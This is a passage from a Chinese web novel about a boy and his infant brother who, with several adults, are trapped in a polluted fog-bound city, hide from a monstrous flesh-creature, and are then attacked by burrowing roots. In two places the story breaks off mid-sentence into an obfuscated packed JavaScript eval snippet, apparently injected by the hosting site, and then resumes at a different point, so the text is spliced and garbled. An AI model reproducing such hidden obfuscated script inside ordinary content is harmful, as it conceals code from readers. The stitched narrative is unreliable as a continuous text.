白榆青那边奇怪地沉默下来,商砚辞想了想,问:“我们现在往你们那边走?” “……可以。”白榆青和荀拂对视一眼:“你们都过来吧。” 四大两小在荀拂所处的位置成功会面。 荀拂看看商砚辞,又看看他怀中脸蛋肉乎乎还带着婴儿肥的奶娃娃,忍不住感慨:“你弟弟好乖,不哭不闹的。” 这就是人类高质量幼崽吗? 许岁禾听到夸夸,漂亮蓝眼睛顿时变得晶晶亮。 不经夸的小家伙仰起白嫩小脸,朝荀拂奶乖奶乖地笑起来,粉嫩嫩的牙床若隐若现,软萌至极。 “哇!”荀拂惊呼,神色激动:“他真的好可爱!” 白榆青目光也是一软,赞同地点点头。 被喜爱目光包围的小胖崽得意洋洋翘尾巴。 他刚准备为两个捧场的漂亮姐姐,展示一下自己标准的婴言婴语,小嘴巴就被堵上了。 “呜?”许岁禾咬住奶嘴,懵懵歪头。 “小乖快喝,一会儿奶就凉了。”商砚辞平静道。 边说着,他边不动声色地将弟弟往怀里藏了藏。 许岁禾察觉出兄长动作间的谨慎,浓密纤长的眼睫扑扇两下,没挣扎,乖乖咕咚咕咚喝奶。 “你弟弟真聪明。几个月了?我记得我儿子小时候很安静,不像你弟弟这么活泼。” 在商砚辞之前出声的、夫妻组中的妻子吴梅笑着问道。 刚刚许岁禾和荀拂互动时,商砚辞余光就一直注意着这对夫妻,此时也不慌乱,神态自若地说道:“快三个月了。小乖从小就喜欢和其他人互动,是个小话痨。” “咿呀学语的小孩子嘛,喜欢说话也正常。”荀拂看向许岁禾的目光满含喜爱:“你弟弟比我之前见到的小孩可乖多了。” 紧绷压抑的氛围,因这几句不带任何负面情绪的对话缓解许多。再看向周围浓厚漫卷的灰白雾气时,大家心中好似也没有那么沉重了。 “过了这么久,都没有什么系统提示音,也没发布任务,看来我们遇到无限游戏的可能性不大。” 荀拂脸色好看一些,分析道:“但是除了无限游戏,我也想不出有什么东西,能一下子把我们几个从浔海市带到这里来。” 商砚辞思索起来。 他和小乖…… 男孩眸色微不可察地变了变。 那些……是绝对不能对外人提起的。 但若是他和小乖确实是因此而被选中…… 商砚辞垂眸沉吟。 忽地,白榆青问:“赵哥,你想到什么了?” 神色略带不自然的赵宏勇下意识摆手否认:“没、没。” “老赵!”吴梅明显也想到了,她拽住赵宏勇的手,一咬牙:“这都什么时候了,儿子还在家里等我们呢…说吧,万一就是因为这个……” 赵宏勇眸色数变,他四处看了看,放低嗓音:“我其实也不是很清楚,只是偶然看到的…我说给你们听,但你们千万、千万不要外传。” 商砚辞、白榆青几人都知道轻重,纷纷应下,就连忽闪着大眼睛,光明正大地偷听的许岁禾,都咬着奶嘴认真地点点小脑袋。 “应该是半个月之前,我们公司附近的一个商场爆发了污染。” 赵宏勇道:“不严重,污染防控局的人很快就处理了,也没怎么影响商场营业。” 除了懵懵懂懂的许岁禾,哪怕是商砚辞,闻言都没有露出什么异色。 这是很寻常的一件事。 二十四年前,虹岛爆发特级污染,整个虹岛沦为污染区,成为人类禁足之地。 这是历史课本上记载的第一次污染爆发事件。 自那以后,各类污染事件层出不穷。 慢慢地,人们也就习惯了。 除非有标志性的、特制的灰色污染隔离墙出现,否则,其他污染事件已是稀松平常。 就拿这次笼罩全市的白雾事件来说,哪怕不出门,社畜们的工作减少了吗?不还是得老老实实地在家处理工作? “我一开始其实也没怎么在意,但后来有一天,我晚上加班,离开公司的时候天都黑了。” 赵宏勇声音微颤:“商场的玻璃墙是透明的。那个商场自从爆发了污染之后,每天下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“赵哥,吴姐,我们就直说了吧,其实我们和你们一样,也是因为某件事,突然就开始怀疑起所谓的‘污染事件’了。” 白榆青叹息:“我得到的答案,也是少听、少想、少问。” 荀拂刚欲开口赞同,眼尾余光却瞥见一旁认真聆听的两小只,不由得一滞,语气犹疑:“…我们真的是因为这个才被选中的?那这两位小朋友呢?他们也去寻找‘真相’了?” 白榆青:“…我不知道。” 被四个大人注视着的商砚辞神情自若,他帮弟弟把空了的奶瓶拿开,声音镇定平稳:“今年七月,绥禧妇产医院爆发污染时,我和我弟弟就在医院里面。” 白榆青几人面露恍然。 一提起绥禧妇产医院污染事件,呼啸而过的警车和肃穆森严的灰色隔离墙便立时从他们脑海中闪现而过。 这可和赵宏勇刚刚所说的商场污染完全不同。 严重的污染爆发,周围居民全部迁离…… 荀拂看看眉目俊秀的男孩,再看看男孩怀中玉雪可爱的小娃娃,嗫嚅道:“…抱歉。” 怀中的小胖孩绵软软暖烘烘,明明看起来是那么小小的一团,但压在手臂上,却是一份沉甸而瓷实的重量。 可就是这么一份重量,支撑着他度过酷暑,走过血腥,是他全部的勇气与牵挂。 商砚辞勾住奶瓶上的塑料圈,垂眸望着懵懂墩实的小胖孩,轻声道:“没事。” 已经……过去了。 “既然我们身上发生的事情与‘污染事件’有关……” 见气氛逐渐沉重,白榆青主动道:“那在外界眼中,我们的消失是不是也是一个污染事件?” 吴梅眼前一亮:“有道理!” “污染防控局就是管这个的,他们肯定在想办法救我们。” 荀拂:“没错,中洲不会放弃我们的!” 得知外界有人在为营救他们而努力,现场的气氛顿时为之一松。 白榆青眼中也涌出几分喜色,但她还是冷静陈述道:“雾气带有污染,我们不能干等着,也要想想办法,能自救一点是一点。” 荀拂几人也明白这个道理。 可是,看着茫茫无际的雾海,荀拂无奈:“雾太大了,根本辨认不出方向。” “这里很荒凉。”吴梅看看脚边在水泥缝隙间挣扎而生的杂草,拧眉:“浔海市附近有这样的地方吗?” “轰——” 就在他们苦思冥想之际,轰隆声响起,地面微震,腥臭气息伴着雾气飘荡而至。 “呀!” 一直乖乖巧巧的许岁禾瞪圆蓝眸,小短手拍着兄长手臂,奶音急促:“呀呀!” 打不过。 快跑! 21. 梦域 小小一只崽,圆头圆脑圆肚皮,爱笑又爱唠。 当那双漂亮的蓝眼睛弯成月牙儿时,仿佛漫天繁星坠入湖泊,灿然生辉,分外招人喜欢。 可是此刻,小家伙总是欢欢喜喜的小圆脸变得紧张,小小的眉毛拧成一团,望过来的视线催促而急切。 风拂雾动,腥臭气息愈发浓郁。 商砚辞就如同一只发觉远方异动后,凝重警戒的幼狼。刚刚露出稚嫩的爪牙,却被肚皮下护着的狗崽探爪打断。 小狗崽还很小,毛蓬爪嫩,稚气懵懂。 可商砚辞却丝毫没有因此而对小家伙的提醒生出疑虑。 他当即便做出了决定——躲起来。 不是不想跑,而是雾太大、太浓了。 遮蔽视野的雾海和那腥臭气息的主人一样危险,不如先躲避起来,过后再议。 种种思忖与利弊权衡,落在现实中,不过是短暂的低头与抬头。 在许岁禾的奶声催促中,商砚辞快速调整姿势,将怀里软嘟嘟的小家伙抱得更稳、更紧。 “怪物很危险。”商砚辞扫视四周,语气镇定,吐字清晰:“我会带着弟弟躲起来。” “啊?”荀拂被商砚辞做决定的速度惊到:“我们还不知道那是个什么东西……” 商砚辞却已经在她说话期间确定好了目标。 男孩抱着自家弟弟,头也不回地走向白雾中若隐若现的建筑轮廓:“我为什么要知道那是个什么东西?” 荀拂还想说些什么,白榆青却制止了她。 “他说得对。”短发女子神情冷静:“没有必要。我们为什么要寻根究底?” 看着还是没转过弯儿的荀拂,白榆青叹气:“荀拂,这不是游戏,是真的会死人的。” 言尽于此,她抬脚朝商砚辞离开的方向追去。 赵宏勇和吴梅夫妻俩对视一眼,默契地跟上了白榆青的步伐。 走之前,吴梅说道:“小姑娘,你白姐姐说得没错,命只有一条,不能当儿戏啊。” 荀拂呆愣在原地,几秒后,她猛地出了一身冷汗。 是啊,这不是游戏。 这是现实。 被带到这里之后,除了最开始的那段时间,她身边一直有同伴相伴。 三言两语就推断出被选中的原因,不动脑子就能猜到外面有人在想办法营救…… 雾海茫茫,却始终未遇危险。 慢慢地,她将刚落到此地时,独自一人的恐惧与绝望忘却,变得傲慢自大、轻敌草率。 她竟然还想站在原地,弄清楚来的是个什么东西…… 荀拂顿时羞红了脸。 啊啊啊,能不能给她个时空隧道,让她穿回去把那个愚蠢的自己打醒?! 荀拂边小跑着追上前面几人,边痛苦地想,真的好丢人啊。 * 浓雾漫天蔽野,直到走到近处,商砚辞才看清选中建筑的具体情况及周围环境。 店铺门户大开,碎玻璃满地。街道上车辆横七竖八,从砖石缝隙中钻出的杂草茂盛,肆无忌惮地舒展着绿叶。 商砚辞停下来打量周围时,从他迈开脚步起,就乖乖安静下来的许岁禾终于有了动作。 小家伙探出圆滚滚的小脑袋,左右瞅瞅后,短胖小手一指,颇有大将之风:“呀!” 就那儿叭,别犹豫啦,臭烘烘的丑东西要追上来啦! 许岁禾其实也搞不明白自己的反应。 地面震颤的那一刻,他莫名就有了一种预感:打不过,快跑! 这突然生出的、仿佛源自本能的预感毫无依据,却带着某种强烈而不可抗拒的力量。 就如同此时,明明大雾四起,视线被阻,但许岁禾却无端笃定:丑东西要追上来了。 商砚辞低头看看怀中胖崽严肃的小表情,和先前一样,毫无犹豫地选择了交付信任。 他几步走进许岁禾所指的那间店铺。紧随其后的白榆青见状,迟疑稍许,也跟着走了进去。 视线扫过室内,白榆青在商砚辞动手之前,便伸手将窗帘拉好。 “你还抱着你弟弟呢,我们来弄就行。” 短发女子嗓音平静:“现在大家都是一根绳上的蚂蚱,谁也无法独善其身。” 迟来一步的荀拂三人闻言,纷纷点头。 情况紧急,谁也没有心思再去寒暄什么,只迅速动了起来。 “屋门堵好了。” “那个架子移一下……” 人多力量大。很快,四面漏风的杂乱店铺就大变样,成为他们躲避怪物的避风港。 “轰——” “轰——” 地面震动的幅度越来越大,浓重的腥臭味甚至已经到了刺鼻的程度。 被兄长捂住鼻子的许岁禾眨巴眨巴蓝眼睛,两只小胖手高举,学着兄长的动作,也认认真真地帮兄长捂鼻子。 商砚辞眸中划过笑意。 忽地,身侧传来一道强行压抑后,只余下些许气音的惊呼声。 是荀拂。 商砚辞抬眸,从窗帘缝隙向外望去。 一个巨大的、蠕动的丑陋肉球迈着两条仿佛被人剥了皮、满是肥腻腻脂肪的粗腿,从远方一步步走近。 随着它的走动,肉球上半部分一道长而狰狞的裂口不断翕张,将周围白雾吸入。 ——也正因此,商砚辞他们才能看清它的模样。 “轰——” “轰——” 肉球似乎已经全然沉迷于吞食白雾,肥腻粗腿抬起、落下,就这么一步一步地慢慢走远。 “呼——”一直屏住呼吸的赵宏勇猛然放松,惊魂甫定:“还好,还好它走了。” 说话间,白雾游动,将肉球吞食出的空洞补充完整。 茫茫无际的雾气再一次占满视野,商砚辞沉默地收回目光。 思忖稍许,他突然抱着崽转身,凭着记忆,从角落里翻出来三条夏季薄款丝巾。 “呜?”许岁禾歪头,蓝眼睛睁得圆圆的,像只好奇小猫。 见状,商砚辞腾出一只手,摸了摸小猫脑袋。 小猫快乐回蹭。 毛茸茸的触感惹人上瘾,猫猫的态度又是如此积极,商砚辞不自觉多揉了几下。最后,还是凭借着强大的自制力,才堪堪收手。 “呜!”脑壳上面陡然空荡的崽不满。 商砚辞低哄:“哥哥现在还有事情要做,等我们出去了,再继续好不好?” 许岁禾瞅瞅兄长,勉勉强强地哼唧一声。 腥臭气味渐渐散去,窗帘被风吹起一角,碎裂的玻璃残渣混在漫天雾海中,稍有不慎,便会划伤。 商砚辞眸中氤氲的笑意随着风吹雾荡而渐渐散去,他抱稳许岁禾,抬脚走向吴梅。 “你要做什么?”因两小只亲昵互动而露出姨母笑的荀拂见此,忍不住询问道。 商砚辞:“我想把小乖绑在我身上。” 荀拂:“?” 吴梅却很快反应过来:“婴儿背带?” 她打量着商砚辞手里的丝巾,略略沉吟,摇头否决:“你弟弟还小,光凭这几条丝巾……不太安全。” 商砚辞脚步一顿。 “没事,”见状,吴梅忙道:“这里衣服多,把衣服和丝巾一起用上,很快就能弄出来一个简单的婴儿背带。” “你先等会儿,我去找找能用的衣服。” 刚刚收拾店铺时,他们就发现了,这个店铺在变故没发生之前,应该是个服装店。 里面大部分都是夏季衣物,吴梅从中找出一条长度适中的干净短裤,在许岁禾身上比划了两下,满意点头。 她拿过丝巾,先用其中两条丝巾穿好左右裤腿,再将最后一条丝巾穿进裤腰位置,一个简单的婴儿背带就做好了。 “来,我帮你们捆上,看看合不合适。”吴梅看向旁边等待的两小只。 “嗷嗷!”许岁禾小短手揪着兄长衣角,水汪汪大眼睛里写满了迫不及待。 听见奶呼呼的催促声,商砚辞指侧安抚般轻轻蹭过小家伙漂亮软乎的包子脸:“别急。” 短裤裤身托住许岁禾的身体,穿过裤腿的丝巾头尾两端分别从许岁禾的肩膀、大腿内侧穿出,第三条丝巾则是从脑袋后面绕过。 被牢牢固定在兄长身前的小胖崽晃晃短胳膊短腿,神色欢喜:“呀~” 好玩~ “不觉得难受就好。”吴梅再次检查了一下,确定没有什么问题后,便递给商砚辞一件长袖外套:“现在是九月份,天气渐凉。小孩子受不得冻,你可以穿上,把你弟弟兜在前面。” 商砚辞接过外套,认真道谢。 “没事。”吴梅笑了笑,神色感慨:“我儿子和你差不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“你们走吧,我不会出去的!”他沉着脸,眼中满含不赞同。 商砚辞见此,只得默默将劝说的话语咽下。 吴梅左右看看,最后还是选择相信丈夫:“我也留下。” “你们小心啊,实在不行就回来。”她殷殷叮嘱着。 几人就这样分成两队,在破败建筑前分别。 “其实我也不知道这么选是对还是错。”走出一段距离后,荀拂突然叹气:“我只是觉得不能坐以待毙……唉!我当时就是闲得慌,污染防控局不让知道,那就不知道呗,我还非得去探究!” 白榆青安慰她:“事已至此,别责怪自己了。” 浓雾翻卷,城市荒凉。耳畔除了几人的脚步声,只闻风声呜咽。 荀拂被这种诡异的安静激起了一身鸡皮疙瘩,想了想,她再次开口:“我被带过来之前,是在看电视剧。我马上就要看到等了好久的追妻火葬场了!结果呢,‘嗖’一下子,把我给送到这么个破地方!” 听见新鲜词的许岁禾跟小狗崽似的,耳朵‘咻’地竖起,眼巴巴望向荀拂。 荀拂见有崽捧场,兴致更浓:“女主可惨了。网上有一句话怎么说来着……想起来了!好赌的爸,生病的妈,上学的弟弟,破碎的她!” 商砚辞拧起眉毛。 荀拂却没发现,仍旧兴致勃勃地分享:“男主心里有一个白月光,和女主谈恋爱也只是把女主当成白月光的替身……” 商砚辞眉毛皱得更紧。 他低头看看怀中仰着小肥脸,听得眼睛晶亮的自家弟弟,刚准备打断荀拂的滔滔不绝,却见不远处地面突然鼓起数道长条状鼓包。 下一刻,砖石碎裂,泥土飞溅。 “快跑!” 大声提醒一句,商砚辞抱稳怀中崽,竭力向远方跑去。 长蛇似的粗壮树根紧追不舍,风声呼啸,浓雾动荡。 商砚辞不断地迈动双腿……快一点、再快一点。 忽地。 远方传来痛苦的哀嚎。 ——是赵宏勇! 意料之外的声音让商砚辞的脚步节奏混乱一瞬。 就在此时,前方,一条粗壮树根破地而出,猛地朝他胸□□来。 小乖! 商砚辞面色骤变,毫无迟疑,立即抬手去挡。 一抹混沌深邃的黑色悄然浮现。 树根好似被利刃截断,触及到那抹黑色的地方,尽数消失。 商砚辞一怔。 被一系列变故惊到的许岁禾也呆住。 半晌。 崽犹犹豫豫:“……嗷?”